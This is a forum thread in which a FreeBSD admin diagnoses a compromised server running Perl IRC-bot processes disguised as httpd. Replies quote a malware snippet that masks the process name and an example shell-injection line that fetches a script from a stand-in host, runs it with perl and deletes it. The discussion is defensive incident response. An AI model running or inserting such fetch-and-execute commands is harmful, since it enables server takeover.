Apache httpd process high cpu utilization causes other processes to stop working

antoniog120

antoniog120

I have a FreeBSD 10.3-RELEASE amd64 platform server that I am running in a data center and I have had two instances approxmatley two weeks apart from each other that I see an httpd process launch randomly that utilizes all CPU usage on the server causing the bind name server process to throw out errors that there are not enough free resources in /var/log/messages. When I do a ps listing of these processes this is what I see :

Code: 
64903  -  R       241:57.10 /usr/sbin/httpd -k start -DSSL (perl)
64905  -  R       241:28.62 /usr/sbin/httpd -k start -DSSL (perl)
65045  -  R       174:50.73 /usr/sbin/httpd -k start -DSSL (perl)
65047  -  R       173:46.28 /usr/sbin/httpd -k start -DSSL (perl)
65494 v0  S+        0:00.00 grep -i perl
51224  0- R      2542:47.66 /usr/sbin/httpd -k start -DSSL (perl)


The most interesting thing is that this httpd binary that is listed in the ps output doesn't even exist on the filesystem.

Code: 
root@eagle:/home/antonio # ls -ld /usr/sbin/httpd
ls: /usr/sbin/httpd: No such file or directory

So where I am completely confused is how is it that this process is ruining when the binary file doesn't even exist on the file system? My apache port installed a binary in /usr/local/sbin/httpd not /usr/sbin/httpd.

Code: 
root@eagle:/home/antonio # ls -ld /usr/local/sbin/httpd
-rwxr-xr-x  1 root  wheel  430960 Jul 22  2016 /usr/local/sbin/httpd

Code: 
root@eagle:/home/antonio # pkg info -l apache22-2.2.31_1 | grep -i httpd
        /usr/local/etc/apache22/extra/httpd-autoindex.conf.sample
        /usr/local/etc/apache22/extra/httpd-dav.conf.sample
        /usr/local/etc/apache22/extra/httpd-default.conf.sample
        /usr/local/etc/apache22/extra/httpd-info.conf.sample
        /usr/local/etc/apache22/extra/httpd-languages.conf.sample
        /usr/local/etc/apache22/extra/httpd-manual.conf.sample
        /usr/local/etc/apache22/extra/httpd-mpm.conf.sample
        /usr/local/etc/apache22/extra/httpd-multilang-errordoc.conf.sample
        /usr/local/etc/apache22/extra/httpd-ssl.conf.sample
        /usr/local/etc/apache22/extra/httpd-userdir.conf.sample
        /usr/local/etc/apache22/extra/httpd-vhosts.conf.sample
        /usr/local/etc/apache22/httpd.conf.sample
        /usr/local/include/apache22/httpd.h
        /usr/local/libexec/apache22/httpd.exp
        /usr/local/man/man8/httpd.8.gz
        /usr/local/sbin/httpd
        /usr/local/share/doc/apache22/programs/httpd.html
        /usr/local/share/doc/apache22/programs/httpd.html.en
        /usr/local/share/doc/apache22/programs/httpd.html.ko.euc-kr
        /usr/local/share/doc/apache22/programs/httpd.html.tr.utf8
root@eagle:/home/antonio #

So my question is how is this /usr/sbin/httpd process launching if the binary doesn't exist and why is it consuming all of my cpu resources and most importantly how to fix this?
 
Erm, these look dodgy:
Code: 
64903  -  R       241:57.10 /usr/sbin/httpd -k start -DSSL (perl)
For starters, httpd on FreeBSD lives in /usr/local/sbin/. Second, it's actually a Perl process (note the "(perl)"), not httpd.

This leads me to believe your server has been compromised and those processes are actually bots written in Perl, disguised to "look" like Apache processes.
 
Does this look familiar? They're a couple of lines from a piece of malware I found a long time ago.
Code: 
my $processo = '/usr/sbin/httpd -DSSL';

{snip}

$0="$processo"."\0";

It's basically an IRC bot, it connects to an IRC server[*] and waits for commands from a botmaster. Quite common, you might want to look in /tmp, they're usually run from there.

[*] Don't bother looking for connections to port 6667, it's usually a custom IRC server running on some random port.
 
SirDice said:
Erm, these look dodgy:
Code: 
64903  -  R       241:57.10 /usr/sbin/httpd -k start -DSSL (perl)
For starters, httpd on FreeBSD lives in /usr/local/sbin/. Second, it's actually a Perl process (note the "(perl)"), not httpd.

This leads me to believe your server has been compromised and those processes are actually bots written in Perl, disguised to "look" like Apache processes.
Click to expand...


Right as I stated in my original post the ps output of /usr/sbin/httpd is strange since /usr/sbin/httpd doesn't exist on my /usr filesystem. Your right freebsd apache port installed httpd into /usr/local/sbin/. So what your telling me is that these processes are in fact perl processes and not Apache processes ok interesting. A bot process ok how do I remove this bot? Interesting thing is my server is running normally now and when I do a ps aux listing on the server right now I do not see them running right now after I killed them on Feburary 18. So I have not seen them run in two days.

Code: 
root@eagle:/usr/sbin # ps aux
USER      PID  %CPU %MEM     VSZ    RSS TT  STAT STARTED        TIME COMMAND
root       11 400.0  0.0       0     64  -  RL   Sat10AM 12932:27.60 [idle]
root        0   0.0  0.0       0    224  -  DLs  Sat10AM     0:00.27 [kernel]
root        1   0.0  0.0    9492    912  -  ILs  Sat10AM     0:00.02 /sbin/init --
root        2   0.0  0.0       0     32  -  DL   Sat10AM     0:15.20 [cam]
root        3   0.0  0.0       0     16  -  DL   Sat10AM     0:00.05 [aacraid0aif]
root        4   0.0  0.0       0     16  -  DL   Sat10AM     0:00.34 [fdc0]
root        5   0.0  0.0       0     16  -  DL   Sat10AM     0:00.00 [sctp_iterator]
root        6   0.0  0.0       0     32  -  DL   Sat10AM     0:07.65 [pagedaemon]
root        7   0.0  0.0       0     16  -  DL   Sat10AM     0:00.00 [vmdaemon]
root        8   0.0  0.0       0     16  -  DL   Sat10AM     0:00.00 [pagezero]
root        9   0.0  0.0       0    112  -  DL   Sat10AM     0:05.21 [bufdaemon]
root       10   0.0  0.0       0     16  -  DL   Sat10AM     0:00.00 [audit]
root       12   0.0  0.0       0    352  -  WL   Sat10AM     2:13.39 [intr]
root       13   0.0  0.0       0     48  -  DL   Sat10AM     0:00.02 [geom]
root       14   0.0  0.0       0     16  -  DL   Sat10AM     0:16.32 [rand_harvestq]
root       15   0.0  0.0       0    640  -  DL   Sat10AM     0:07.15 [usb]
root       16   0.0  0.0       0     16  -  DL   Sat10AM     5:22.75 [syncer]
root       17   0.0  0.0       0     16  -  DL   Sat10AM     0:02.44 [vnlru]
root      158   0.0  0.0   12376   1732  -  Is   Sat10AM     0:00.00 adjkerntz -i
root      387   0.0  0.0   13628   4884  -  Is   Sat10AM     0:00.06 /sbin/devd
root      534   0.0  0.0   14532   2120  -  Ss   Sat10AM     0:00.59 /usr/sbin/syslogd -ss
www       614   0.0  0.0   14500   1928  -  Is   Sat10AM     0:00.00 daemon: /usr/local/bin/java[615] (daemon)
www       615   0.0  1.2 3593096 154416  -  I    Sat10AM     1:19.31 /usr/local/openjdk6/bin/java -Dpython.home=lib -Dred5.root=/usr/local/red5 -Dlogback.ContextSelector=org.red5.logging.Lo
root      654   0.0  0.0   18400   2892  -  I<s  Sat10AM     0:00.00 /usr/local/sbin/ntpd -f /usr/local/etc/ntpd.conf
_ntp      655   0.0  0.0   18408   3072  -  I<   Sat10AM     0:00.11 ntpd: ntp engine (ntpd)
_ntp      657   0.0  0.0   18400   2900  -  I    Sat10AM     0:00.00 ntpd: dns engine (ntpd)
root      667   0.0  0.0   15400   3520  -  Ss   Sat10AM     0:18.35 /usr/local/sbin/sshguard -b 30:/var/db/sshguard/blacklist.db -l /var/log/auth.log -l /var/log/maillog -a 30 -p 120 -s 18
mysql     677   0.0  0.0   17104   2464  -  Is   Sat10AM     0:00.01 /bin/sh /usr/local/bin/mysqld_safe --defaults-extra-file=/var/db/mysql2/my.cnf --user=mysql --datadir=/var/db/mysql2 --p
mysql     791   0.0  1.4  300428 178656  -  I    Sat10AM     6:32.17 /usr/local/libexec/mysqld --defaults-extra-file=/var/db/mysql2/my.cnf --basedir=/usr/local --datadir=/var/db/mysql2 --pl
root      838   0.0  0.0   15620   3092  -  Is   Sat10AM     0:00.34 /usr/local/sbin/dovecot -c /usr/local/etc/dovecot/dovecot.conf
dovecot   863   0.0  0.0   15564   2792  -  I    Sat10AM     0:00.08 anvil: [0 connections] (anvil)
root      864   0.0  0.0   15568   2848  -  I    Sat10AM     0:00.08 dovecot/log
root      868   0.0  0.1   61316   6516  -  Is   Sat10AM     0:00.01 /usr/sbin/sshd
root      873   0.0  0.2  334012  26312  -  Ss   Sat10AM     0:03.13 /usr/local/sbin/httpd -DNOHTTPACCEPT
root      884   0.0  0.0   24156   5560  -  Ss   Sat10AM     0:03.80 sendmail: accepting connections (sendmail)
smmsp     887   0.0  0.0   24156   5068  -  Is   Sat10AM     0:00.04 sendmail: Queue runner@00:30:00 for /var/spool/clientmqueue (sendmail)
root      891   0.0  0.0   16632   2240  -  Is   Sat10AM     0:00.30 /usr/sbin/cron -s
root      920   0.0  0.0   18752   2296  -  Ss   Sat10AM     0:00.01 /usr/sbin/inetd -wW -C 60
bind    15143   0.0  0.3   74172  38116  -  Ss   Sat11AM     0:15.38 /usr/local/sbin/named -u bind -c /usr/local/etc/namedb/named.conf
www     32620   0.0  0.5  338364  59272  -  S     1:15PM     0:02.33 /usr/local/sbin/httpd -DNOHTTPACCEPT
www     33116   0.0  0.3  338196  35076  -  S     3:53PM     0:00.05 /usr/local/sbin/httpd -DNOHTTPACCEPT
www     33130   0.0  0.4  338108  47032  -  S     3:53PM     0:00.31 /usr/local/sbin/httpd -DNOHTTPACCEPT
www     33134   0.0  0.3  338196  38232  -  S     3:53PM     0:00.22 /usr/local/sbin/httpd -DNOHTTPACCEPT
www     33137   0.0  0.3  338196  32820  -  I     3:53PM     0:00.15 /usr/local/sbin/httpd -DNOHTTPACCEPT
www     33138   0.0  0.3  338112  35812  -  S     3:53PM     0:00.51 /usr/local/sbin/httpd -DNOHTTPACCEPT
www     33140   0.0  0.3  338196  36612  -  S     3:53PM     0:00.24 /usr/local/sbin/httpd -DNOHTTPACCEPT
www     33142   0.0  0.2  338112  30688  -  S     3:53PM     0:00.13 /usr/local/sbin/httpd -DNOHTTPACCEPT
www     33143   0.0  0.3  338196  34460  -  S     3:53PM     0:00.28 /usr/local/sbin/httpd -DNOHTTPACCEPT
www     33170   0.0  0.2  334012  26492  -  S     3:59PM     0:00.01 /usr/local/sbin/httpd -DNOHTTPACCEPT
root    33198   0.0  0.1   86584   8392  -  Is    4:03PM     0:00.02 sshd: antonio [priv] (sshd)
antonio 33202   0.0  0.1   86584   8428  -  S     4:03PM     0:00.01 sshd: antonio@pts/0 (sshd)
antonio 33207   0.0  0.0   25992   3880  -  Ss    4:03PM     0:00.03 tmux: server (/tmp/tmux-1001/default) (tmux)
root     1032   0.0  0.0   14528   1976 v0  Is+  Sat10AM     0:00.00 /usr/libexec/getty Pc ttyv0
root      945   0.0  0.0   14528   1976 v1  Is+  Sat10AM     0:00.00 /usr/libexec/getty Pc ttyv1
root      946   0.0  0.0   14528   1976 v2  Is+  Sat10AM     0:00.00 /usr/libexec/getty Pc ttyv2
root      947   0.0  0.0   14528   1976 v3  Is+  Sat10AM     0:00.00 /usr/libexec/getty Pc ttyv3
root      948   0.0  0.0   14528   1976 v4  Is+  Sat10AM     0:00.00 /usr/libexec/getty Pc ttyv4
root      949   0.0  0.0   14528   1976 v5  Is+  Sat10AM     0:00.00 /usr/libexec/getty Pc ttyv5
root      950   0.0  0.0   14528   1976 v6  Is+  Sat10AM     0:00.00 /usr/libexec/getty Pc ttyv6
root      951   0.0  0.0   14528   1976 v7  Is+  Sat10AM     0:00.00 /usr/libexec/getty Pc ttyv7
antonio 33203   0.0  0.0   20952   4696  0  Is    4:03PM     0:00.00 -bash (bash)
antonio 33205   0.0  0.0   25992   3636  0  I+    4:03PM     0:00.00 tmux: client (/tmp/tmux-1001/default) (tmux)
antonio 33208   0.0  0.0   20952   4752  1  Is    4:03PM     0:00.00 -bash (bash)
root    33210   0.0  0.0   47748   2796  1  I     4:03PM     0:00.00 su -
root    33211   0.0  0.0   23608   3792  1  S     4:03PM     0:00.02 -su (csh)
root    33234   0.0  0.0   18776   2240  1  R+    4:10PM     0:00.00 ps aux
root@eagle:/usr/sbin #
 
gkontos said:
Can you post the output of sockstat -4 ?
Click to expand...

Sure here is the output of sockstat -4

Code: 
root@eagle:/home/antonio # sockstat -4
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
antonio  sshd       33202 3  tcp4   209.172.174.34:2345   98.193.41.146:20981
root     sshd       33198 3  tcp4   209.172.174.34:2345   98.193.41.146:20981
www      httpd      33170 4  tcp4   *:80                  *:*
www      httpd      33143 4  tcp4   *:80                  *:*
www      httpd      33142 4  tcp4   *:80                  *:*
www      httpd      33140 4  tcp4   *:80                  *:*
www      httpd      33138 4  tcp4   *:80                  *:*
www      httpd      33137 4  tcp4   *:80                  *:*
www      httpd      33134 4  tcp4   *:80                  *:*
www      httpd      33130 4  tcp4   *:80                  *:*
www      httpd      33116 4  tcp4   *:80                  *:*
www      httpd      32620 4  tcp4   *:80                  *:*
bind     named      15143 20 tcp4   209.172.174.34:53     *:*
bind     named      15143 21 tcp4   127.0.0.1:953         *:*
bind     named      15143 512 udp4  209.172.174.34:53     *:*
bind     named      15143 513 udp4  209.172.174.34:53     *:*
bind     named      15143 514 udp4  209.172.174.34:53     *:*
root     inetd      920   5  tcp4   *:21                  *:*
root     sendmail   884   4  tcp4   *:25                  *:*
root     sendmail   884   6  tcp4   *:587                 *:*
root     httpd      873   4  tcp4   *:80                  *:*
root     sshd       868   4  tcp4   *:2345                *:*
root     dovecot    838   24 tcp4   *:110                 *:*
root     dovecot    838   36 tcp4   *:143                 *:*
mysql    mysqld     791   10 tcp4   127.0.0.1:3306        *:*
_ntp     ntpd       655   7  udp4   209.172.174.34:55840  173.49.198.27:123
_ntp     ntpd       655   8  udp4   209.172.174.34:25056  74.82.59.142:123
_ntp     ntpd       655   9  udp4   209.172.174.34:32803  204.2.134.164:123
_ntp     ntpd       655   10 udp4   209.172.174.34:28513  104.156.99.226:123
www      java       615   61 tcp4   *:9999                *:*
www      java       615   63 tcp4   *:49072               *:*
www      java       615   121 tcp4  *:1935                *:*
www      java       615   127 tcp4  *:5080                *:*
root@eagle:/home/antonio #
 
SirDice said:
Does this look familiar? They're a couple of lines from a piece of malware I found a long time ago.
Code: 
my $processo = '/usr/sbin/httpd -DSSL';

{snip}

$0="$processo"."\0";

It's basically an IRC bot, it connects to an IRC server[*] and waits for commands from a botmaster. Quite common, you might want to look in /tmp, they're usually run from there.

[*] Don't bother looking for connections to port 6667, it's usually a custom IRC server running on some random port.
Click to expand...

Looks like it's some kind of malware. Do you have any idea of the filename that I would be looking for in /tmp as I grepped for perl and httpd in /tmp and it returned nothing that stood out just some text files that are years old. I have 350 files in /tmp so a filename to search for would be helpful.

Code: 
root@eagle:/tmp # ls -l | grep -i perl
root@eagle:/tmp # ls -l | grep -i httpd
-rw-r--r--  1 root       wheel            0 Mar 11  2014 httpd-rewrite.log
-rw-r--r--  1 root       wheel        27801 Dec 10  2011 httpd.conf
root@eagle:/tmp #

Code: 
root@eagle:/tmp # ls | wc -l
     350
root@eagle:/tmp #
 
SirDice said:
Does this look familiar? They're a couple of lines from a piece of malware I found a long time ago.
Code: 
my $processo = '/usr/sbin/httpd -DSSL';

{snip}

$0="$processo"."\0";

It's basically an IRC bot, it connects to an IRC server[*] and waits for commands from a botmaster. Quite common, you might want to look in /tmp, they're usually run from there.

[*] Don't bother looking for connections to port 6667, it's usually a custom IRC server running on some random port.
Click to expand...


I did some cleaning up of my /tmp filesystem looking for this bot that you mentioned and I do not see anything that looks like a bot file in there. I filtered out the various text files I have in there and this is what I see.

Code: 
root@eagle:/tmp # file * | grep -v ASCII | grep -v text
bsdinstall_boot:                   directory
bsdinstall_etc:                    directory
hsperfdata_antonio:                directory
hsperfdata_root:                   directory
hsperfdata_www:                    directory
lost+found:                        directory
mutt-eagle-9O84CZyY:               empty
mutt-eagle-FYWacrP7:               empty
mutt-eagle-R95FSFZk:               empty
mutt-eagle-Ybkxqh0Q:               empty
mysql.sock:                        socket
restoresymtable:                   data
sess_8fe9e6jlcnba9c1hbiinn1ake2:   empty
sess_e9ihg7cvop1h3c2balcndplqk3:   empty
sess_ofvq9slakpormlk7f2kns4vr35:   empty
tmux-0:                            directory
tmux-1001:                         directory
tmux-1073:                         directory
root@eagle:/tmp #
 
The files may already be gone, I've seen shell injections doing things like this:
Code: 
cd /tmp; fetch http://badhost.example.com/somescript.txt; perl somescript.txt; rm somescript.txt

The actual filename varies, as does the exact 'badhost' URL. These are usually previously compromised servers.

But it does beg the question, how did they get this far? You may have cleaned up but the hole isn't plugged so it's just a matter of time before it's compromised again. Where those scripts running on the www account? If that's the case they probably got in through a shell injection vulnerability in a web application. What's running on the site? Wordpress? An old PHPMyAdmin?

Go over your Apache access and error logs with a fine-tooth comb, look for anything out of place. Judging by the CPU time they may have been running for a while so you may need to go back a couple days.
 
SirDice said:
The files may already be gone, I've seen shell injections doing things like this:
Code: 
cd /tmp; fetch http://badhost.example.com/somescript.txt; perl somescript.txt; rm somescript.txt

The actual filename varies, as does the exact 'badhost' URL. These are usually previously compromised servers.

But it does beg the question, how did they get this far? You may have cleaned up but the hole isn't plugged so it's just a matter of time before it's compromised again. Where those scripts running on the www account? If that's the case they probably got in through a shell injection vulnerability in a web application. What's running on the site? Wordpress? An old PHPMyAdmin?

Go over your Apache access and error logs with a fine-tooth comb, look for anything out of place. Judging by the CPU time they may have been running for a while so you may need to go back a couple days.
Click to expand...

Well since I can't find the files it does make sense that you state that they may have been removed. Right I'd like to stop this from happening again. Well when I was in the data center looking at the console screen when this happened I ran the top command and noticed that those perl/httpd processes were running as my user account antonio. antonio is the user account I use to ssh into the server. Since I noticed that I changed my password on that account. I ran the last command to see if I saw anything suspicious there in regard to unauthorized logins with my account and I did notice one entry that seemed strange

Code: 
antonio    pts/3    tmux(48717).%2         Fri Feb 17 00:30 - 00:36  (00:05)
antonio    pts/2    c-98-193-41-146.hsd1.i Fri Feb 17 00:30 - 00:36  (00:05)
antonio    pts/3    tmux(48717).%1         Thu Feb 16 14:46 - 14:59  (00:12)
antonio    pts/2    c-98-193-41-146.hsd1.i Thu Feb 16 14:46 - 14:59  (00:12)
antonio    pts/2    eagle.ibwd.com         Thu Feb 16 14:17 - 14:17  (00:00)
antonio    pts/0    ad-bc.com              Thu Feb 16 14:17 - 14:20  (00:03)

According to this last output it states that I logged in via ssh from a host called ad-bc.com on February 16.. I checked this host out and it is located in Japan. I can tell you for certain I have never ssh into this server from Japan. I typically only log in from a comcast.net IP of 98.193.41.146 as you can see from the other entries. I checked out the ports/packages I have installed on this server and the pkg audit command came up with only two vulnerabilities.

Code: 
root@eagle:/var/log # pkg audit
mysql55-server-5.5.53 is vulnerable:
mysql -- multiple vulnerabilities
CVE: CVE-2017-3320
CVE: CVE-2017-3319
CVE: CVE-2017-3318
CVE: CVE-2017-3317
CVE: CVE-2016-8327
CVE: CVE-2017-3243
CVE: CVE-2017-3313
CVE: CVE-2017-3251
CVE: CVE-2017-3265
CVE: CVE-2017-3291
CVE: CVE-2017-3256
CVE: CVE-2017-3238
CVE: CVE-2017-3257
CVE: CVE-2017-3244
CVE: CVE-2017-3273
CVE: CVE-2017-3258
CVE: CVE-2017-3312
CVE: CVE-2016-8318
WWW: https://vuxml.FreeBSD.org/freebsd/4d2f9d09-ddb7-11e6-a9a5-b499baebfeaf.html

openssl-1.0.2j_1,1 is vulnerable:
OpenSSL -- multiple vulnerabilities
CVE: CVE-2017-3732
CVE: CVE-2017-3731
CVE: CVE-2017-3730
CVE: CVE-2016-7055
WWW: https://vuxml.FreeBSD.org/freebsd/d455708a-e3d3-11e6-9940-b499baebfeaf.html

2 problem(s) in the installed packages found.
root@eagle:/var/log #

The first vulnerability is in regard to mysql which I have not gotten around to patching but I will do so soon probably this weekend. But the good thing is that none of these processes had anything to do with mysql. The second vulnerability is openssl which is kinda mute since I am not running ssl on this server. So my server has one port/package vulnerability. I'll check out my Apache logs and see if anything seems out of place there as you stated.
 
antoniog120 said:
Well when I was in the data center looking at the console screen when this happened I ran the top command and noticed that those perl/httpd processes were running as my user account antonio. antonio is the user account I use to ssh into the server. Since I noticed that I changed my password on that account. I ran the last command to see if I saw anything suspicious there in regard to unauthorized logins with my account and I did notice one entry that seemed strange
Click to expand...
Ok, that probably means they brute-forced their way into your account. Changing the password would prevent future logins. Make sure it's a proper password! But preferably, turn off password logins and use public/private keys to get in. I'd also recommend running something like security/sshguard or security/py-fail2ban to thwart any future brute-force attacks.

If your account is able to sudo(8) you may want to throw the server away and start fresh. It will be the same password they used to login in the first place and it may have given them full root access to the machine.
 
I would also suggest using a firewall that would filter both incoming and outgoing connections. Sorry, I could not resist from scanning your system :)
 
Ok I see thanks for the advice. Yes I used a more complex password on my antonio account. I'll look into public/private keys instead of passwords. I do have sshguard installed. This account does not use sudo and I do not have sudo installed on this server. I don't think they acquired root access as they would have to know my root password once they logged in with my antonio account as antonio is the only account on this server that is part of the wheel group. Also the processes were running with my userid of antonio not root so that leads me to conclude that they just were limited to my antonio account id.
 
SirDice said:
Ok, that probably means they brute-forced their way into your account. Changing the password would prevent future logins. Make sure it's a proper password! But preferably, turn off password logins and use public/private keys to get in. I'd also recommend running something like security/sshguard or security/py-fail2ban to thwart any future brute-force attacks.

If your account is able to sudo(8) you may want to throw the server away and start fresh. It will be the same password they used to login in the first place and it may have given them full root access to the machine.
Click to expand...

Ok I see thanks for the advice. Yes I used a more complex password on my antonio account. I'll look into public/private keys instead of passwords. I do have sshguard installed. This account does not use sudo and I do not have sudo installed on this server. I don't think they acquired root access as they would have to know my root password once they logged in with my antonio account as antonio is the only account on this server that is part of the wheel group. Also the processes were running with my userid of antonio not root so that leads me to conclude that they just were limited to my antonio account id.
 
I agree with SirDice and would wipe that server clean and build a new one. Until you know what was compromised, you can't trust any of the basic commands on that server, such as ps, top, ls and so on as they could have been replaced with modified versions meant to hide whatever the process is that. Sometimes it's easier and quicker to start fresh than try to fix. Once rebuilt, keep the server up-to-date with all security patches and review your open ports. I would use some sort of packet filtering and fail2ban too.
 
SirDice said:
Make sure it's enabled and configured. Just having it installed doesn't do anything to protect you ;)
Click to expand...

Yeah for sure. Well from the ps output you can see it is ruining.

Code: 
root@eagle:~ # ps aux | grep -i sshguard
root       667   0.0  0.0   15400   3520  -  Ss   Sat10AM     0:22.76 /usr/local/sbin/sshguard -b 30:/var/db/sshguard/blacklist.db -l /var/log/auth.log -l /var/log/maillo
root     38721   0.0  0.0   18852   2248  3  S+   10:27AM     0:00.00 grep -i sshguard
root@eagle:~ #
 
Oh, just remembered. As they apparently did everything from your account have a look at the ~/.history (or ~/.bash_history if you use bash) file. Hopefully they weren't smart enough to clear the shell's history and left us lots of clues :)
 
Datapanic said:
I agree with SirDice and would wipe that server clean and build a new one. Until you know what was compromised, you can't trust any of the basic commands on that server, such as ps, top, ls and so on as they could have been replaced with modified versions meant to hide whatever the process is that. Sometimes it's easier and quicker to start fresh than try to fix. Once rebuilt, keep the server up-to-date with all security patches and review your open ports. I would use some sort of packet filtering and fail2ban too.
Click to expand...


Well if you what you state is true that my system files have been replaced why isn't tripwire stating that my files have been modified or replaced as it is a file integrity checker and the reason I installed tripwire. Someone logged in from ad-bc.com using my antonio account on February 16 yet when I ran tripwire on February 18 I do not see any files being modified or replaced on the February 16.

Code: 
Note: Report is not encrypted.
Open Source Tripwire(R) 2.4.3.1 Integrity Check Report

Report generated by:          root
Report created on:            Sat Feb 18 10:31:10 2017
Database last updated on:     Wed Feb  1 10:22:33 2017

===============================================================================
Report Summary:
===============================================================================

Host name:                    eagle.ibwd.com
Host IP address:              209.172.174.34
Host ID:                      None
Policy file used:             /usr/local/etc/tripwire/tw.pol
Configuration file used:      /usr/local/etc/tripwire/tw.cfg
Database file used:           /var/db/tripwire/eagle.ibwd.com.twd
Command line used:            tripwire --check

===============================================================================
Rule Summary:
===============================================================================

-------------------------------------------------------------------------------
  Section: Unix File System
-------------------------------------------------------------------------------

  Rule Name                       Severity Level    Added    Removed  Modified
  ---------                       --------------    -----    -------  --------
  Invariant Directories           66                0        0        0       
  Tripwire Data Files             100               0        0        0       
  Temporary directories           33                0        0        0       
* Local files                     66                0        0        7       
  Tripwire Binaries               100               0        0        0       
  System Administration Programs  100               0        0        0       
  User Utilities                  100               0        0        0       
* Libraries, include files, and other system files
                                  100               0        0        2       
  Sources                         100               0        0        0       
  (/usr/src)
  NIS                             100               0        0        0       
  (/var/yp)
* /etc                            100               0        0        6       
  Security Control                100               0        0        0       
* Root's home                     100               0        0        1       
  FreeBSD Kernel                  100               0        0        0       
  (/boot)

Total objects scanned:  186181
Total violations found:  16

===============================================================================
Object Detail:
===============================================================================

-------------------------------------------------------------------------------
  Section: Unix File System
-------------------------------------------------------------------------------

-------------------------------------------------------------------------------
Rule Name: Local files (/usr/local/etc)
Severity Level: 66
-------------------------------------------------------------------------------
  ----------------------------------------
  Modified Objects: 3
  ----------------------------------------

Modified object name:  /usr/local/etc/apache22/extra/httpd-vhosts.conf

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Size                 30026                       30197                       
* Modify Time          Sat Jan  7 12:57:27 2017    Fri Feb  3 13:40:08 2017   
* CRC32                DTbskc                      Bxribn                     
* MD5                  Dq7q6UAB4czcOhu7etFPvj      DC98Nq3RWAgM9Cu7YynNYH     


Modified object name:  /usr/local/etc/namedb/named.conf

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Size                 31090                       31193                       
* Modify Time          Mon Dec 26 12:14:25 2016    Fri Feb  3 13:37:41 2017   
* CRC32                Dy5T6/                      DHTYMs                     
* MD5                  DR2OIyBBE3IAJdRm5Y0MAt      CfdSO4lY3eMvuhhcB6F9g7     


Modified object name:  /usr/local/etc/namedb/working

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Modify Time          Fri Jan 13 11:09:10 2017    Sat Feb 18 10:02:09 2017   



-------------------------------------------------------------------------------
Rule Name: Local files (/usr/local/lib)
Severity Level: 66
-------------------------------------------------------------------------------
  ----------------------------------------
  Modified Objects: 4
  ----------------------------------------

Modified object name:  /usr/local/lib/perl5/5.24/perl/man

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Modify Time          Sat Jan 28 04:15:30 2017    Sat Feb 18 04:15:30 2017   


Modified object name:  /usr/local/lib/perl5/5.24/perl/man/whatis

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Inode Number         802820                      803360                     
* Modify Time          Sat Jan 28 04:15:30 2017    Sat Feb 18 04:15:30 2017   


Modified object name:  /usr/local/lib/perl5/site_perl/man

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Modify Time          Sat Jan 28 04:15:29 2017    Sat Feb 18 04:15:29 2017   


Modified object name:  /usr/local/lib/perl5/site_perl/man/whatis

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Modify Time          Sat Jan 28 04:15:29 2017    Sat Feb 18 04:15:29 2017   



-------------------------------------------------------------------------------
Rule Name: Libraries, include files, and other system files (/usr/share)
Severity Level: 100
-------------------------------------------------------------------------------
  ----------------------------------------
  Modified Objects: 2
  ----------------------------------------

Modified object name:  /usr/share/openssl/man

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Modify Time          Sat Jan 28 04:15:20 2017    Sat Feb 18 04:15:21 2017   
* Change Time          Sat Jan 28 04:15:20 2017    Sat Feb 18 04:15:21 2017   


Modified object name:  /usr/share/openssl/man/whatis

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Inode Number         1605854                     1605133                     
* Modify Time          Sat Jan 28 04:15:20 2017    Sat Feb 18 04:15:21 2017   
* Change Time          Sat Jan 28 04:15:20 2017    Sat Feb 18 04:15:21 2017   



-------------------------------------------------------------------------------
Rule Name: /etc (/etc)
Severity Level: 100
-------------------------------------------------------------------------------
  ----------------------------------------
  Modified Objects: 6
  ----------------------------------------

Modified object name:  /etc

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Modify Time          Tue Jan 31 20:11:27 2017    Sat Feb 18 10:04:12 2017   
* Change Time          Tue Jan 31 20:11:27 2017    Sat Feb 18 10:04:12 2017   


Modified object name:  /etc/hosts.allow

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Inode Number         98719                       99149                       
* Size                 31209                       31901                       
* Modify Time          Tue Jan 31 20:11:27 2017    Sat Feb 18 10:04:12 2017   
* Change Time          Tue Jan 31 20:11:27 2017    Sat Feb 18 10:04:12 2017   
* CRC32                AvJZZD                      DdltvK                     
* MD5                  AKzMHRIGzImbdGsodPvF/a      BJEO67h1/Yl/64alzFYzGZ     


Modified object name:  /etc/master.passwd

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Inode Number         98759                       98693                       
* Size                 21192                       21353                       
* Modify Time          Wed Jan  4 09:58:58 2017    Fri Feb  3 13:38:49 2017   
* Change Time          Wed Jan  4 09:58:59 2017    Fri Feb  3 13:38:49 2017   
* CRC32                CX/3gn                      CtkABL                     
* MD5                  CrBjuyONhqwm/e93Wa5EPX      BcZiTH17gZ0hqf8W1AtM/z     


Modified object name:  /etc/passwd

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Inode Number         99088                       98820                       
* Size                 12375                       12426                       
* Modify Time          Wed Jan  4 09:58:59 2017    Fri Feb  3 13:38:49 2017   
* Change Time          Wed Jan  4 09:58:59 2017    Fri Feb  3 13:38:49 2017   
* CRC32                CqlRRE                      B+8H+v                     
* MD5                  BQdS2Iqhmw4OslLhsuMmQT      Bk26HUPRSJDH5wrF9Er0VM     


Modified object name:  /etc/pwd.db

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Inode Number         98794                       98762                       
* Modify Time          Wed Jan  4 09:58:59 2017    Fri Feb  3 13:38:49 2017   
* Change Time          Wed Jan  4 09:58:59 2017    Fri Feb  3 13:38:49 2017   
* CRC32                BvbZVa                      CBWYFW                     
* MD5                  A0U8yrdG/ocWYDcLp13IK0      BocIV8T4t9q1xt8Ce7cABa     


Modified object name:  /etc/spwd.db

  Property:            Expected                    Observed                   
  -------------        -----------                 -----------                 
* Inode Number         98811                       98763                       
* Modify Time          Wed Jan  4 09:58:59 2017    Fri Feb  3 13:38:49 2017   
* Change Time          Wed Jan  4 09:58:59 2017    Fri Feb  3 13:38:49 2017   
